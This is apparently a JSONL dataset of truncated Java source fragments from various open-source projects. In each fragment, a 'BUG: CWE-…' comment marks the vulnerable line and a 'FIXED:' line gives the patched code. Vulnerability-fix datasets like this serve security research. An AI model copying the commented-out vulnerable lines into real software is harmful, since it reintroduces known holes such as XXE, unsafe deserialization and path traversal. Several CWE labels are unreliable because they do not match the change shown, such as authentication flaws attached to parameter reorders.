guice binder\n * @param config the cache configuration\n */\n public static void memoryStore(Binder binder, Consumer> config) {\n binder.bind(LOCAL_MEMORY_SESSION_CACHE_BINDING_KEY).toProvider(() -> {\n CacheBuilder cacheBuilder = Types.cast(CacheBuilder.newBuilder());\n cacheBuilder.removalListener(n -> n.getValue().release());\n config.accept(cacheBuilder);\n return cacheBuilder.build();\n }).in(Scopes.SINGLETON);\n }\n\n @Override\n protected void configure() {\n memoryStore(binder(), s -> s.maximumSize(1000));\n }\n\n @Provides\n @Singleton\n SessionStore sessionStoreAdapter(@Named(LOCAL_MEMORY_SESSION_CACHE_BINDING_NAME) Cache cache) {\n return new LocalMemorySessionStore(cache);\n }\n\n @Provides\n // BUG: CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)\n // \n // FIXED: \n @Singleton\n SessionIdGenerator sessionIdGenerator() {\n return new DefaultSessionIdGenerator();\n }\n\n @Provides\n @RequestScoped\n SessionId sessionId(Request request, Response response, SessionIdGenerator idGenerator, SessionCookieConfig cookieConfig) {\n return new CookieBasedSessionId(request, response, idGenerator, cookieConfig);\n }\n\n @Provides\n SessionSerializer sessionValueSerializer(JavaSessionSerializer sessionSerializer) {\n return sessionSerializer;\n }\n\n @Provides\n JavaSessionSerializer javaSessionSerializer() {\n return new JavaBuiltinSessionSerializer();\n }\n\n @Provides\n @RequestScoped\n Session sessionAdapter(SessionId sessionId, SessionStore store, Response response, ByteBufAllocator bufferAllocator, SessionSerializer defaultSerializer, JavaSessionSerializer javaSerializer) {\n return new DefaultSession(sessionId, bufferAllocator, store, response, defaultSerializer, javaSerializer);\n }\n\n}\n<|endoftext|>"} +{"language": "java", "text": "arams);\n\n this.macLength = ccm.getMac().length;\n }\n\n public String getAlgorithmName()\n {\n return ccm.getAlgorithmName() + \"Mac\";\n }\n\n public int getMacSize()\n {\n return macLength;\n }\n\n public void update(byte in)\n throws IllegalStateException\n {\n ccm.processAADByte(in);\n }\n\n public void update(byte[] in, int inOff, int len)\n throws DataLengthException, IllegalStateException\n {\n ccm.processAADBytes(in, inOff, len);\n }\n\n public int doFinal(byte[] out, int outOff)\n throws DataLengthException, IllegalStateException\n {\n try\n {\n return ccm.doFinal(out, 0);\n }\n catch (InvalidCipherTextException e)\n {\n // BUG: CWE-310 Cryptographic Issues\n // throw new IllegalStateException(\"exception on doFinal()\", e);\n // FIXED:\n throw new IllegalStateException(\"exception on doFinal(): \" + e.toString());\n }\n }\n\n public void reset()\n {\n ccm.reset();\n }\n }\n }\n\n public static class Poly1305\n extends BaseMac\n {\n public Poly1305()\n {\n super(new org.bouncycastle.crypto.macs.Poly1305(new AESEngine()));\n }\n }\n\n public static class Poly1305KeyGen\n extends BaseKeyGenerator\n {\n public Poly1305KeyGen()\n {\n super(\"Poly1305-AES\", 256, new Poly1305KeyGenerator());\n }\n }\n\n static public class Wrap\n extends BaseWrapCipher\n {\n public Wrap()\n {\n super(new AESWrapEngine());\n }\n }\n\n public static class RFC3211Wrap\n extends BaseWrapCipher\n {\n public RFC3211Wrap()\n {\n super(new RFC3211WrapEngine(new AESEngine()), 16);\n }\n }\n\n public static class RFC5649Wrap\n extends BaseWrapCipher\n {\n public RFC5649Wrap()\n {\n super(new RFC5649WrapEngine(new AESEngine()));\n }\n }\n\n /**\n * PBEWithAES-CBC\n <|endoftext|>"} +{"language": "java", "text": "n e)\n { ls = \"\\r\\n\"; }\n\n LINESEP = ls;\n\n }\n\n public static C3P0Config extractXmlConfigFromDefaultResource() throws Exception\n {\n InputStream is = null;\n\n try\n {\n is = C3P0ConfigUtils.class.getResourceAsStream(XML_CONFIG_RSRC_PATH);\n if ( is == null )\n {\n warnCommonXmlConfigResourceMisspellings();\n return null;\n }\n else\n return extractXmlConfigFromInputStream( is );\n }\n finally\n {\n try { if (is != null) is.close(); }\n catch (Exception e)\n {\n if ( logger.isLoggable( MLevel.FINE ) )\n logger.log(MLevel.FINE,\"Exception on resource InputStream close.\", e);\n }\n }\n }\n\n public static C3P0Config extractXmlConfigFromInputStream(InputStream is) throws Exception\n {\n DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();\n // BUG: CWE-611 Improper Restriction of XML External Entity Reference\n // \n // FIXED: \n\tfact.setExpandEntityReferences(false);\n DocumentBuilder db = fact.newDocumentBuilder();\n Document doc = db.parse( is );\n\n return extractConfigFromXmlDoc(doc);\n }\n\n public static C3P0Config extractConfigFromXmlDoc(Document doc) throws Exception\n {\n Element docElem = doc.getDocumentElement();\n if (docElem.getTagName().equals(\"c3p0-config\"))\n {\n NamedScope defaults;\n HashMap configNamesToNamedScopes = new HashMap();\n\n Element defaultConfigElem = DomParseUtils.uniqueChild( docElem, \"default-config\" );\n if (defaultConfigElem != null)\n defaults = extractNamedScopeFromLevel( defaultConfigElem );\n else\n defaults = new NamedScope();\n NodeList nl = DomParseUtils.immediateChildElementsByTagName(docElem, \"named-config\");\n for (int i = 0, len = nl.getLength(); i < len; ++i)\n {\n Element namedConfigElem = (Element) nl.item(i);\n String configName = namedConfigElem.getAttribute(\"name\");\n if (configName != null && configName.length() > 0)\n {\n NamedScope na<|endoftext|>"} +{"language": "java", "text": "re.CoreSpringFactory;\nimport org.olat.core.commons.services.vfs.VFSRepositoryService;\nimport org.olat.core.logging.Tracing;\nimport org.olat.core.util.vfs.VFSConstants;\nimport org.olat.core.util.vfs.VFSItem;\nimport org.olat.core.util.vfs.VFSLeaf;\nimport org.olat.core.util.xml.XStreamHelper;\nimport org.olat.course.ICourse;\nimport org.olat.course.config.CourseConfig;\nimport org.olat.course.config.CourseConfigManager;\nimport org.springframework.stereotype.Service;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.security.ExplicitTypePermission;\n\n/**\n *

\n * Initial Date: Jun 3, 2005
\n * @author patrick\n */\n@Service\npublic class CourseConfigManagerImpl implements CourseConfigManager {\n\n\tprivate static final Logger log = Tracing.createLoggerFor(CourseConfigManagerImpl.class);\n\t\n\tprivate static final XStream xstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\tClass[] types = new Class[] {\n\t\t\t\tCourseConfig.class, Hashtable.class, HashMap.class\n\t\t};\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// XStream.setupDefaultSecurity(xstream);\n\t\t// FIXED: \n\t\txstream.addPermission(new ExplicitTypePermission(types));\n\t}\n\n\t@Override\n\tpublic CourseConfig copyConfigOf(ICourse course) {\n\t\treturn course.getCourseEnvironment().getCourseConfig().clone();\n\t}\n\n\t@Override\n\tpublic boolean deleteConfigOf(ICourse course) {\n\t\tVFSLeaf configFile = getConfigFile(course);\n\t\tif (configFile != null) {\n\t\t\treturn configFile.delete() == VFSConstants.YES;\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic CourseConfig loadConfigFor(ICourse course) {\n\t\tCourseConfig retVal = null;\n\t\tVFSLeaf configFile = getConfigFile(course);\n\t\tif (configFile == null) {\n\t\t\t//config file does not exist! create one, init the defaults, save it.\n\t\t\tretVal = new CourseConfig();\n\t\t\tretVal.initDefaults();\n\t\t\tsaveConfigTo(course, retVal);\n\t\t} else {\n\t\t\t//file exists, load it with XStream, resolve version\n\t\t\tObject tmp = XStreamHelper.readObject(xstream, configFile);\n\t\t\tif (tmp instanceof CourseConfig) {\n\t\t\t\tretVal = (CourseConfig) tmp;\n\t\t\t\tif (retVal.resolveVersionIssues()) {\n\t\t\t\t\tsaveConfigTo(course, retVal);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn retVal;\n\t}\n\n\t@Override\n\tpublic void saveConfigTo(ICourse course, CourseConfig courseConfig) {\n\t\tVFSLeaf configFile = getConfigFile(course);\n\t\tif (configFile == nu<|endoftext|>"} +{"language": "java", "text": "FSItemFilter;\nimport org.springframework.beans.factory.annotation.Autowired;\n\npublic class CmdMoveCopy extends DefaultController implements FolderCommand {\n\n\tprivate static final String VELOCITY_ROOT = Util.getPackageVelocityRoot(CmdMoveCopy.class);\n\tprivate static int status = FolderCommandStatus.STATUS_SUCCESS;\n\n\tprivate Translator translator;\n\n\tprivate MenuTree selTree;\n\tprivate FileSelection fileSelection;\n\tprivate Link selectButton, cancelButton;\n\tprivate FolderComponent folderComponent;\n\tprivate final boolean move;\n\t\n\t@Autowired\n\tprivate VFSLockManager vfsLockManager;\n\t@Autowired\n\tprivate VFSRepositoryService vfsRepositoryService;\n\t@Autowired\n\tprivate NotificationsManager notificationsManager;\n\n\tprotected CmdMoveCopy(WindowControl wControl, boolean move) {\n\t\tsuper(wControl);\n\t\tthis.move = move;\n\t}\n\t\n\t@Override\n\tpublic Controller execute(FolderComponent fc, UserRequest ureq, WindowControl windowControl, Translator trans) {\n\t\tthis.folderComponent = fc;\n\t\tthis.translator = trans;\n\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t// this.fileSelection = new FileSelection(ureq, fc.getCurrentContainerPath());\n\t\t// FIXED: \n\t\tthis.fileSelection = new FileSelection(ureq, fc.getCurrentContainer(), fc.getCurrentContainerPath());\n\t\t\t\t\n\t\tVelocityContainer main = new VelocityContainer(\"mc\", VELOCITY_ROOT + \"/movecopy.html\", translator, this);\n\t\tmain.contextPut(\"fileselection\", fileSelection);\n\t\t\n\t\t//check if command is executed on a file list containing invalid filenames or paths\n\t\tif(!fileSelection.getInvalidFileNames().isEmpty()) {\t\t\n\t\t\tmain.contextPut(\"invalidFileNames\", fileSelection.getInvalidFileNames());\n\t\t}\t\t\n\n\t\tselTree = new MenuTree(null, \"seltree\", this);\n\t\tFolderTreeModel ftm = new FolderTreeModel(ureq.getLocale(), fc.getRootContainer(),\n\t\t\t\ttrue, false, true, fc.getRootContainer().canWrite() == VFSConstants.YES, new EditableFilter());\n\t\tselTree.setTreeModel(ftm);\n\t\tselectButton = LinkFactory.createButton(move ? \"move\" : \"copy\", main, this);\n\t\tcancelButton = LinkFactory.createButton(\"cancel\", main, this);\n\n\t\tmain.put(\"seltree\", selTree);\n\t\tif (move) {\n\t\t\tmain.contextPut(\"move\", Boolean.TRUE);\n\t\t}\n\n\t\tsetInitialComponent(main);\n\t\treturn this;\n\t}\n\t\n\tpublic boolean isMoved() {\n\t\treturn move;\n\t}\n\t\n\tpublic FileSelection getFileSelection() {\n\t\treturn fileSelection;\n\t}\n\n\t@Override\n\tpublic int getStatus()<|endoftext|>"} +{"language": "java", "text": "olat.modules.ceditor.model.ImageTitlePosition;\nimport org.olat.modules.ceditor.model.TableColumn;\nimport org.olat.modules.ceditor.model.TableContent;\nimport org.olat.modules.ceditor.model.TableRow;\nimport org.olat.modules.ceditor.model.TableSettings;\nimport org.olat.modules.ceditor.model.TextSettings;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.security.ExplicitTypePermission;\n\n/**\n * The XStream has its security features enabled.\n * \n * Initial date: 5 sept. 2018
\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n *\n */\npublic class ContentEditorXStream {\n\t\n\tprivate static final XStream xstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\tClass[] types = new Class[] {\n\t\t\t\tImageSettings.class, ImageHorizontalAlignment.class, ImageTitlePosition.class, ImageSize.class,\n\t\t\t\tTextSettings.class, ContainerSettings.class, ContainerColumn.class,\n\t\t\t\tTableContent.class, TableRow.class, TableColumn.class, TableSettings.class\n\t\t};\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \t\tXStream.setupDefaultSecurity(xstream);\n\t\t// FIXED:\n\t\txstream.addPermission(new ExplicitTypePermission(types));\n\n\t\txstream.alias(\"imagesettings\", ImageSettings.class);\n\t\txstream.alias(\"imagehorizontalalignment\", ImageHorizontalAlignment.class);\n\t\txstream.alias(\"imagetitleposition\", ImageTitlePosition.class);\n\t\txstream.alias(\"imagesize\", ImageSize.class);\n\n\t\txstream.alias(\"textsettings\", TextSettings.class);\n\t\t\n\t\txstream.alias(\"containersettings\", ContainerSettings.class);\n\t\txstream.alias(\"containercolumn\", ContainerColumn.class);\n\t\t\n\t\txstream.alias(\"tablecontent\", TableContent.class);\n\t\txstream.alias(\"tablerow\", TableRow.class);\n\t\txstream.alias(\"tablecolumn\", TableColumn.class);\n\t\txstream.alias(\"tablesettings\", TableSettings.class);\n\t\t\n\t}\n\t\n\tpublic static String toXml(Object obj) {\n\t\treturn xstream.toXML(obj);\n\t}\n\t\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static U fromXml(String xml, @SuppressWarnings(\"unused\") Class cl) {\n\t\tObject obj = xstream.fromXML(xml);\n\t\treturn (U)obj;\n\t}\n}\n<|endoftext|>"} +{"language": "java", "text": " Captcha captchaObj = (Captcha) session.getAttribute(Captcha.NAME);\n String captchaSession=captchaObj!=null ? captchaObj.getAnswer() : null;\n \n\t\t\tif(captcha ==null && Config.getBooleanProperty(\"FORCE_CAPTCHA\",true)){\n\t\t\t\tresponse.getWriter().write(\"Captcha is required to submit this form ( FORCE_CAPTCHA=true ).
To change this, edit the dotmarketing-config.properties and set FORCE_CAPTCHA=false\");\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif(!UtilMethods.isSet(captcha) || !UtilMethods.isSet(captchaSession) || !captcha.equals(captchaSession)) {\n\t\t\t\terrors.add(Globals.ERROR_KEY, new ActionMessage(\"message.contentlet.required\", \"Validation Image\"));\n\t\t\t\trequest.setAttribute(Globals.ERROR_KEY, errors);\n\t\t\t\tsession.setAttribute(Globals.ERROR_KEY, errors);\n\t\t\t\tString queryString = request.getQueryString();\n\t\t\t\tString invalidCaptchaURL = request.getParameter(\"invalidCaptchaReturnUrl\");\n\t\t\t\tif(!UtilMethods.isSet(invalidCaptchaURL)) {\n\t\t\t\t\tinvalidCaptchaURL = errorURL;\n\t\t\t\t}\n\t\t\t\t// BUG: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n\t\t\t\t// \n\t\t\t\t// FIXED: \n\t\t\t\tinvalidCaptchaURL = invalidCaptchaURL.replaceAll(\"\\\\s\", \" \");\n\t\t\t\tActionForward af = new ActionForward();\n\t\t\t\t\taf.setRedirect(true);\n\t\t\t\t\tif (UtilMethods.isSet(queryString)) {\n\t\t\t\t\t\t\n\t\t\t\t\t\taf.setPath(invalidCaptchaURL + \"?\" + queryString + \"&error=Validation-Image\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\taf.setPath(invalidCaptchaURL + \"?error=Validation-Image\");\n\t\t\t\t\t}\n\t\t\t\n\n\t\t\t\t\n\t\t\t\treturn af;\n\t\t\t}\n\t\t\t\n\t\t}\n\n\n\n\t\tMap parameters = null;\n\t\tif (request instanceof UploadServletRequest)\n\t\t{\n\t\t\tUploadServletRequest uploadReq = (UploadServletRequest) request;\n\t\t\tparameters = new HashMap (uploadReq.getParameterMap());\n\t\t\tfor (Entry entry : parameters.entrySet())\n\t\t\t{\n\t\t\t\tif(entry.getKey().toLowerCase().indexOf(\"file\") > -1 && !entry.getKey().equals(\"attachFiles\"))\n\t\t\t\t{\n\t\t\t\t\tparameters.put(entry.getKey(), uploadReq.getFile(entry.getKey()));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tparameters = new HashMap (request.getParameterMap());\n\t\t}\n\n\t\tSet toValidate = new java.util.HashSet(parameters.keySet());\n\n\t\t//Enhancing the ignored parameters not to be send in the email\n\t\tString ignoredParameters = (String) EmailFactory.getMapValue(\"ignore\", pa<|endoftext|>"} +{"language": "java", "text": " TException {\n trans_.readAll(buffer, 0, 4);\n int value = bytesToInt(buffer);\n return Float.intBitsToFloat(value);\n }\n\n /** Reads a byte[] (via readBinary), and then UTF-8 decodes it. */\n public String readString() throws TException {\n int length = readVarint32();\n checkReadLength(length);\n\n if (length == 0) {\n return \"\";\n }\n\n if (trans_.getBytesRemainingInBuffer() >= length) {\n String str =\n new String(\n trans_.getBuffer(), trans_.getBufferPosition(), length, StandardCharsets.UTF_8);\n trans_.consumeBuffer(length);\n return str;\n } else {\n return new String(readBinary(length), StandardCharsets.UTF_8);\n }\n }\n\n /** Read a byte[] from the wire. */\n public byte[] readBinary() throws TException {\n int length = readVarint32();\n checkReadLength(length);\n return readBinary(length);\n }\n\n private byte[] readBinary(int length) throws TException {\n if (length == 0) {\n return new byte[0];\n }\n // BUG: CWE-770 Allocation of Resources Without Limits or Throttling\n // \n // FIXED: \n ensureContainerHasEnough(length, TType.BYTE);\n byte[] buf = new byte[length];\n trans_.readAll(buf, 0, length);\n return buf;\n }\n\n private void checkReadLength(int length) throws TProtocolException {\n if (length < 0) {\n throw new TProtocolException(\"Negative length: \" + length);\n }\n if (maxNetworkBytes_ != -1 && length > maxNetworkBytes_) {\n throw new TProtocolException(\"Length exceeded max allowed: \" + length);\n }\n }\n\n //\n // These methods are here for the struct to call, but don't have any wire\n // encoding.\n //\n public void readMessageEnd() throws TException {}\n\n public void readFieldEnd() throws TException {}\n\n public void readMapEnd() throws TException {}\n\n public void readListEnd() throws TException {}\n\n public void readSetEnd() throws TException {}\n\n //\n // Internal reading methods\n //\n\n /**\n * Read an i32 from the wire as a varint. The MSB of each byte is set if there is another byte to\n * follow. This can read up to 5 bytes.\n */\n private int readVarint32() throws TException {\n int result = 0;\n int shift = 0;\n if (trans_.getBytesRemainingInBuffer() >= 5) {\n byte[] buf = trans_.getBuffer();\n int pos = <|endoftext|>"} +{"language": "java", "text": "/*\n * See the NOTICE file distributed with this work for additional\n * information regarding copyright ownership.\n *\n * This is free software; you can redistribute it and/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free\n * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n */\n// BUG: CWE-601 URL Redirection to Untrusted Site ('Open Redirect')\n// package org.xwiki.url;\n// FIXED: \npackage org.xwiki.url.internal;\n\nimport java.util.Arrays;\n\nimport org.junit.jupiter.api.Test;\nimport org.xwiki.url.internal.RelativeExtendedURL;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * Unit tests for {@link RelativeExtendedURL}.\n *\n * @version $Id$\n * @since 7.2M1\n */\nclass RelativeExtendedURLTest\n{\n @Test\n void serialize()\n {\n RelativeExtendedURL url = new RelativeExtendedURL(Arrays.asList(\"a\", \"b\"));\n assertEquals(\"a/b\", url.serialize());\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "zip file if input valid.\n * \n *

\n * Initial Date: 30.01.2008
\n * @author Lavinia Dumitrescu\n */\npublic class CmdZip extends FormBasicController implements FolderCommand {\n\t\n\tprivate int status = FolderCommandStatus.STATUS_SUCCESS;\t\n\n\tprivate VFSContainer currentContainer;\n\tprivate FileSelection selection;\n\tprivate TextElement textElement;\n\t\n\t@Autowired\n\tprivate VFSRepositoryService vfsRepositoryService;\n\t\n\tprotected CmdZip(UserRequest ureq, WindowControl wControl) {\n\t\tsuper(ureq, wControl);\n\t}\n\t\n\t@Override\n\tpublic Controller execute(FolderComponent folderComponent, UserRequest ureq, WindowControl wControl, Translator trans) {\n\t\tsetTranslator(trans);\n\t\tcurrentContainer = folderComponent.getCurrentContainer();\n\t\tif (currentContainer.canWrite() != VFSConstants.YES) {\n\t\t\tthrow new AssertException(\"Cannot write to current folder.\");\n\t\t}\n\t\t\n\t\tstatus = FolderCommandHelper.sanityCheck(wControl, folderComponent);\n\t\tif(status == FolderCommandStatus.STATUS_FAILED) {\n\t\t\treturn null;\n\t\t}\n\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t// selection = new FileSelection(ureq, folderComponent.getCurrentContainerPath());\n\t\t// FIXED:\n\t\tselection = new FileSelection(ureq, folderComponent.getCurrentContainer(), folderComponent.getCurrentContainerPath());\n\t\tstatus = FolderCommandHelper.sanityCheck3(wControl, folderComponent, selection);\n\t\tif(status == FolderCommandStatus.STATUS_FAILED) {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tif(selection.getFiles().isEmpty()) {\n\t\t\tstatus = FolderCommandStatus.STATUS_FAILED;\n\t\t\twControl.setWarning(trans.translate(\"warning.file.selection.empty\"));\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tinitForm(ureq);\n\t\treturn this;\n\t}\n\t\n\t@Override\n\tprotected void initForm(FormItemContainer formLayout, Controller listener, UserRequest ureq) {\n\t\tString files = selection.renderAsHtml();\n\t\tuifactory.addStaticExampleText(\"zip.confirm\", files, formLayout);\n\t\t\n\t\ttextElement = uifactory.addTextElement(\"fileName\", \"zip.name\", 20, \"\", formLayout);\n\t\ttextElement.setMandatory(true);\t\t\t\n\t\tuifactory.addStaticTextElement(\"extension\", null, translate(\"zip.extension\"), formLayout);\n\t\t\n\t\tFormLayoutContainer formButtons = FormLayoutContainer.createButtonLayout(\"formButton\", getTranslator());\n\t\tformLayout.add(formButtons);\n\t\tuifactory.addFormSubmitButton(\"submit\",\"zip.button\", formButtons);\n\t\tuifactory.addFormCancelButton(\"cancel\", formButtons, u<|endoftext|>"} +{"language": "java", "text": "G BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.java;\n\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.session.cache.BossBar;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.server.ServerBossBarPacket;\n\n@Translator(packet = ServerBossBarPacket.class)\npublic class JavaBossBarTranslator extends PacketTranslator {\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerBossBarPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ServerBossBarPacket packet) {\n BossBar bossBar = session.getEntityCache().getBossBar(packet.getUuid());\n switch (packet.getAction()) {\n case ADD:\n long entityId = session.getEntityCache().getNextEntityId().incrementAndGet();\n bossBar = new BossBar(session, entityId, packet.getTitle(), packet.getHealth(), 0, 1, 0);\n session.getEntityCache().addBossBar(packet.getUuid(), bossBar);\n break;\n case UPDATE_TITLE:\n if (bossBar != null) bossBar.updateTitle(packet.getTitle());\n break;\n case UPDATE_HEALTH:\n if (bossBar != null) bossBar.updateHealth(packet.getHealth());\n break;\n case REMOVE:\n session.getEntityCache().removeBossBar(packet.getUuid());\n break;\n case UPDATE_STYLE:\n case UPDATE_FLAGS:\n //todo\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " *

\n */\npackage org.olat.modules.openmeetings.manager;\n\nimport java.io.StringWriter;\nimport java.util.Date;\nimport java.util.List;\n\nimport javax.annotation.PostConstruct;\nimport javax.persistence.TypedQuery;\n\nimport org.olat.core.commons.persistence.DB;\nimport org.olat.core.id.OLATResourceable;\nimport org.olat.core.util.xml.XStreamHelper;\nimport org.olat.group.BusinessGroup;\nimport org.olat.modules.openmeetings.model.OpenMeetingsRoom;\nimport org.olat.modules.openmeetings.model.OpenMeetingsRoomReference;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.io.xml.CompactWriter;\n\n\n/**\n * \n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n */\n@Service\npublic class OpenMeetingsDAO {\n\n\t@Autowired\n\tprivate DB dbInstance;\n\t\n\tprivate XStream xStream;\n\t\n\t@PostConstruct\n\tpublic void init() {\n\t\txStream = XStreamHelper.createXStreamInstance();\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED: \n\t\tXStreamHelper.allowDefaultPackage(xStream);\n\t\txStream.alias(\"room\", OpenMeetingsRoom.class);\n\t\txStream.omitField(OpenMeetingsRoom.class, \"property\");\n\t\txStream.omitField(OpenMeetingsRoom.class, \"numOfUsers\");\n\t}\n\n\t\n\tpublic OpenMeetingsRoomReference createReference(final BusinessGroup group, final OLATResourceable courseResource, String subIdentifier, OpenMeetingsRoom room) {\n\t\tString serialized = serializeRoom(room);\n\t\tOpenMeetingsRoomReference ref = new OpenMeetingsRoomReference();\n\t\tref.setLastModified(new Date());\n\t\tref.setRoomId(room.getRoomId());\n\t\tref.setConfig(serialized);\n\t\tref.setGroup(group);\n\t\tif(courseResource != null) {\n\t\t\tref.setResourceTypeName(courseResource.getResourceableTypeName());\n\t\t\tref.setResourceTypeId(courseResource.getResourceableId());\n\t\t}\n\t\tref.setSubIdentifier(subIdentifier);\n\t\tdbInstance.getCurrentEntityManager().persist(ref);\n\t\treturn ref;\n\t}\n\n\tpublic List getReferences() {\n\t\tStringBuilder sb = new StringBuilder();\n\t\tsb.append(\"select ref from \").append(OpenMeetingsRoomReference.class.getName()).append(\" ref\");\n\t\treturn dbInstance.getCurrentEntityManager().createQuery(sb.toString(), OpenMeetingsRoomReference.class).getResul<|endoftext|>"} +{"language": "java", "text": "D TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.java;\n\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.server.ServerDifficultyPacket;\nimport com.nukkitx.protocol.bedrock.packet.SetDifficultyPacket;\n\n@Translator(packet = ServerDifficultyPacket.class)\npublic class JavaDifficultyTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerDifficultyPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ServerDifficultyPacket packet) {\n SetDifficultyPacket setDifficultyPacket = new SetDifficultyPacket();\n setDifficultyPacket.setDifficulty(packet.getDifficulty().ordinal());\n session.sendUpstreamPacket(setDifficultyPacket);\n\n session.getWorldCache().setDifficulty(packet.getDifficulty());\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "authUser = pc.read(Profile.id(u.getId()));\n\t\tif (authUser == null) {\n\t\t\tauthUser = Profile.fromUser(u);\n\t\t\tauthUser.create();\n\t\t\tif (!u.getIdentityProvider().equals(\"generic\")) {\n\t\t\t\tsendWelcomeEmail(u, false, req);\n\t\t\t}\n\t\t\tMap payload = new LinkedHashMap<>(ParaObjectUtils.getAnnotatedFields(authUser, false));\n\t\t\tpayload.put(\"user\", u);\n\t\t\ttriggerHookEvent(\"user.signup\", payload);\n\t\t\tlogger.info(\"Created new user '{}' with id={}, groups={}, spaces={}.\",\n\t\t\t\t\tu.getName(), authUser.getId(), authUser.getGroups(), authUser.getSpaces());\n\t\t}\n\t\treturn authUser;\n\t}\n\n\tprivate boolean updateProfilePictureAndName(Profile authUser, User u) {\n\t\tboolean update = false;\n\t\tif (!StringUtils.equals(u.getPicture(), authUser.getPicture())\n\t\t\t\t&& !gravatarAvatarGenerator.isLink(authUser.getPicture())\n\t\t\t\t&& !CONF.avatarEditsEnabled()) {\n\t\t\tauthUser.setPicture(u.getPicture());\n\t\t\tupdate = true;\n\t\t}\n\t\tif (!CONF.nameEditsEnabled() &&\t!StringUtils.equals(u.getName(), authUser.getName())) {\n\t\t\t// BUG: NVD-CWE-Other Other\n\t\t\t// authUser.setName(u.getName());\n\t\t\t// FIXED: \n\t\t\tauthUser.setName(StringUtils.abbreviate(u.getName(), 256));\n\t\t\tupdate = true;\n\t\t}\n\t\tif (!StringUtils.equals(u.getName(), authUser.getOriginalName())) {\n\t\t\tauthUser.setOriginalName(u.getName());\n\t\t\tupdate = true;\n\t\t}\n\t\treturn update;\n\t}\n\n\tpublic boolean isDarkModeEnabled(Profile authUser, HttpServletRequest req) {\n\t\treturn (authUser != null && authUser.getDarkmodeEnabled()) ||\n\t\t\t\t\"1\".equals(HttpUtils.getCookieValue(req, \"dark-mode\"));\n\t}\n\n\tprivate String getDefaultEmailSignature(String defaultText) {\n\t\tString template = CONF.emailsDefaultSignatureText(defaultText);\n\t\treturn Utils.formatMessage(template, CONF.appName());\n\t}\n\n\tpublic void sendWelcomeEmail(User user, boolean verifyEmail, HttpServletRequest req) {\n\t\t// send welcome email notification\n\t\tif (user != null) {\n\t\t\tMap model = new HashMap();\n\t\t\tMap lang = getLang(req);\n\t\t\tString subject = 